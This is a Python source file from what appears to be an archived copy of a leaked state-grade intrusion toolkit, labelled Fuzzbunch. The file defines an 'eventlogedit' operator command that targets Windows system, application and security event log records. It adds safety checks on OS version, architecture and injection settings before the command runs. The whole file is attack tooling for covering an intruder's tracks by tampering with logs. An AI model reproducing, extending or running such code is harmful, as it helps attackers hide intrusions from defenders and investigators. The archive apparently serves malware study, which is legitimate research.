67 lines · 2.5 KB · Python
RawDownload
# ------------------------------------------------------------# name      Fuzzbunch# type      exploit# cve       —# year      unknown# os        Windows# authors   unknown# source    RamadhanAmizudin/malware# archived  RamadhanAmizudin, krisyotam (2026)# notes     —# ------------------------------------------------------------ import ops.cmdimport opsimport ops.envimport ops.cmd.safetychecksimport dsz.versionfrom ops.cmd import getBoolOption, setBoolOption, getValueOption, setListOption, setStringOption, setIntOptionOpsCommandException = ops.cmd.OpsCommandExceptionVALID_OPTIONS = ['log', 'record', 'searchlen'] class EventLogEditCommand(ops.cmd.DszCommand, ):    optgroups = {}    reqgroups = []    reqopts = ['log', 'record']    defopts = {}     def __init__(self, plugin='eventlogedit', **optdict):        ops.cmd.DszCommand.__init__(self, plugin, **optdict)     def validateInput(self):        for opt in self.optdict:            if (opt not in VALID_OPTIONS):                return False        for req in self.reqopts:            if (req not in self.optdict):                return False        return True    log = property((lambda x: getValueOption(x, 'log')), (lambda x, y: setListOption(x, y, 'log', ['system', 'application', 'security'])))    record = property((lambda x: getValueOption(x, 'record')), (lambda x, y: setIntOption(x, y, 'record')))    searchlen = property((lambda x: getValueOption(x, 'searchlen')), (lambda x, y: setIntOption(x, y, 'searchlen')))ops.cmd.command_classes['eventlogedit'] = EventLogEditCommandops.cmd.aliasoptions['eventlogedit'] = VALID_OPTIONS def mySafetyCheck(self):    good = True    msgparts = []    if (ops.env.get('OPS_NOINJECT').upper() == 'TRUE'):        good = False        msgparts.append('OPS_NOINJECT is set to TRUE, you should probably not run eventlogedit')    osinfo = dsz.version.Info()    if (osinfo.major > 5):        good = False        msgparts.append('Vista+ OS detected, we cannot edit logs on this OS')    if ((osinfo.arch == 'x64') and (osinfo.compiledArch != 'x64')):        good = False        msgparts.append('32-bit binary on 64-bit OS')    if (not self.validateInput()):        good = False        msgparts.append('Your command did not pass input validation')    msg = ''    if (len(msgparts) > 0):        msg = msgparts[0]        for msgpart in msgparts[1:]:            msg += ('\n\t' + msgpart)    return (good, msg)ops.cmd.safetychecks.addSafetyHandler('eventlogedit', 'ops.cmd.eventlogedit.mySafetyCheck')

Keyboard shortcuts

General

Show keyboard shortcuts
?
Focus the current search
/

Issues and pull requests

Open filters
f

Issues, pull requests and Inbox

Select next item
j↓
Select previous item
k↑
Open selected item
Enter
Dismiss filters or clear selection
Esc

Repository code

Go to file
t